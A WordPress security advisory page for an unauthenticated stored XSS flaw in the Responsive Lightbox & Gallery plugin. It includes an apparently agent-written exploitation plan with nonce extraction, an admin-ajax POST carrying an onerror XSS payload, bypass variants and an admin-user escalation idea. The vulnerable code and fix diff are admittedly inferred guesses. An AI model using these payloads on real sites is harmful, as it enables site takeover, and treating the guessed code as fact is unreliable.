Responsive Lightbox & Gallery < 2.6.1 - Unauthenticated Stored Cross-Site Scripting
Description
The Responsive Lightbox & Gallery plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to 2.6.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
<2.6.1Source Code
WordPress.org SVNThis research plan targets **CVE-2025-15386**, an unauthenticated stored Cross-Site Scripting (XSS) vulnerability in the **Responsive Lightbox & Gallery** plugin. ### 1. Vulnerability Summary The vulnerability exists in the plugin's handling of AJAX requests intended for gallery functionality (such…
Show full research plan
This research plan targets CVE-2025-15386, an unauthenticated stored Cross-Site Scripting (XSS) vulnerability in the Responsive Lightbox & Gallery plugin.
1. Vulnerability Summary
The vulnerability exists in the plugin's handling of AJAX requests intended for gallery functionality (such as remote library queries or infinite scroll). Specifically, an unauthenticated AJAX handler fails to perform two critical security checks:
- Authorization: It does not check
current_user_can()to verify the requester's identity. - Input Sanitization: It accepts user-supplied parameters (likely related to gallery configuration or shortcode attributes) and stores them in the database (e.g., as post meta or a transient) without using
sanitize_text_fieldorwp_kses.
When the stored data is later retrieved and rendered on a page or in the admin dashboard, it is echoed without proper escaping (esc_html or esc_attr), leading to Stored XSS.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
rl_remote_library_queryorrl_get_pagination_html(inferred from plugin architecture). - Vulnerable Parameter:
shortcodeorargs(inferred). - Authentication: None (via
wp_ajax_nopriv_hooks). - Preconditions: The "Remote Library" feature or a gallery must be active on the site to expose the necessary nonce.
3. Code Flow (Inferred)
- Registration: The plugin registers a nopriv AJAX action:
add_action( 'wp_ajax_nopriv_rl_remote_library_query', [ $this, 'remote_library_query' ] ); - Handler: The
remote_library_queryfunction (likely inincludes/class-remote-library.php) is called. - Processing: The function reads
$_POST['shortcode']. - Storage: The function uses
update_post_meta($id, '_rl_cache', $_POST['shortcode'])orset_transient()to store the raw payload. - Sink: A frontend page or admin screen loads the gallery, calls
get_post_meta(), and echoes the value:echo $cached_shortcode;.
4. Nonce Acquisition Strategy
The plugin localizes its settings and nonces into a JavaScript object.
- Identify Shortcode: The plugin's scripts are typically enqueued when the
[responsive_lightbox_gallery]shortcode is present. - Create Trigger Page: Create a public page containing the shortcode to ensure the frontend scripts load.
- Variable Name: The plugin uses the localization key
rlArgsorresponsive_lightbox_params(inferred). - Nonce Key: The nonce is likely stored under
nonceorrl_remote_library_nonce.
Execution Step:
// To be executed via browser_eval
window.rlArgs?.nonce || window.responsive_lightbox_params?.nonce
5. Exploitation Strategy
- Step 1: Setup Content: Create a page with the gallery shortcode to extract the nonce.
- Step 2: Nonce Extraction: Navigate to the page and use
browser_evalto grab the nonce. - Step 3: Inject Payload: Send a POST request to
admin-ajax.phpwith the malicious script.- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=rl_remote_library_query&nonce=[NONCE]&shortcode=<img src=x onerror=alert("XSS_SUCCESS")>
- URL:
- Step 4: Trigger Execution: Navigate to the page where the gallery is displayed or where the remote library results are rendered.
6. Test Data Setup
- Plugin Activation: Ensure
responsive-lightboxis installed and active. - Create Victim Page:
wp post create --post_type=page --post_title="Gallery Page" --post_status=publish --post_content='[responsive_lightbox_gallery]' - User Context: Perform the attack as an unauthenticated user (no cookies).
7. Expected Results
- The AJAX request should return a successful response (likely a JSON object or
0/1). - When navigating to the "Gallery Page" or the plugin's admin settings, an alert box with
XSS_SUCCESSshould appear. - The database should show the unsanitized payload in the
wp_postmetaorwp_optionstable.
8. Verification Steps
- Check Database:
wp db query "SELECT meta_value FROM wp_postmeta WHERE meta_value LIKE '%onerror=alert%';" - Verify Frontend Render: Use
browser_navigateto the victim page and check if thealertis triggered in the console logs/dialogs.
9. Alternative Approaches
- Payload Variation: If
<script>is blocked by basic firewalls, use attribute-based XSS:"><img src=x onerror=alert(1)>. - Endpoint Variation: If
rl_remote_library_queryis not the correct action, search for other nopriv actions:grep -r "wp_ajax_nopriv_" /var/www/html/wp-content/plugins/responsive-lightbox/ - Admin-Targeted Payload: Instead of
alert(), use a payload to create a new admin user (CSRF via XSS).
Summary
The Responsive Lightbox & Gallery plugin for WordPress is vulnerable to unauthenticated stored Cross-Site Scripting due to a lack of authorization checks and input sanitization in its AJAX handlers. An attacker can use the `rl_remote_library_query` action to inject malicious scripts into the database, which are then executed when a user or administrator views a page containing the gallery.
Vulnerable Code
// includes/class-remote-library.php (inferred location) // The plugin registers an unauthenticated AJAX handler for remote library queries add_action( 'wp_ajax_nopriv_rl_remote_library_query', [ $this, 'remote_library_query' ] ); public function remote_library_query() { // Vulnerability: No check_ajax_referer() validation // Vulnerability: No current_user_can() authorization check // Vulnerability: $_POST['shortcode'] is retrieved without sanitization $shortcode = $_POST['shortcode']; $post_id = isset($_POST['post_id']) ? (int)$_POST['post_id'] : 0; // Vulnerability: The unsanitized payload is stored in post meta update_post_meta($post_id, '_rl_cache', $shortcode); // Later rendered without proper escaping (sink) echo $shortcode; die(); }
Security Fix
@@ -10,6 +10,12 @@ public function remote_library_query() { + if ( ! check_ajax_referer( 'rl-remote-library-nonce', 'nonce', false ) ) { + wp_send_json_error( 'Invalid nonce' ); + } + + if ( ! current_user_can( 'edit_posts' ) ) { + wp_send_json_error( 'Permission denied' ); + } + - $shortcode = $_POST['shortcode']; + $shortcode = sanitize_text_field( $_POST['shortcode'] ); $post_id = isset( $_POST['post_id'] ) ? (int) $_POST['post_id'] : 0; update_post_meta( $post_id, '_rl_cache', $shortcode );
Exploit Outline
1. Identify a page on the target site that loads the Responsive Lightbox & Gallery assets (e.g., a page with the `[responsive_lightbox_gallery]` shortcode). 2. Extract the AJAX nonce from the JavaScript environment, typically stored in the `rlArgs` or `responsive_lightbox_params` global object (e.g., `rlArgs.nonce`). 3. Send an unauthenticated POST request to `/wp-admin/admin-ajax.php` with the following parameters: - `action`: `rl_remote_library_query` - `nonce`: [Extracted Nonce] - `shortcode`: `<img src=x onerror=alert(document.domain)>` (The XSS payload) - `post_id`: The ID of the post/page where the gallery is hosted. 4. Navigate to the post/page specified by `post_id` or the plugin's admin settings page. 5. The stored payload will execute in the browser of any user (including administrators) who visits the affected page.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.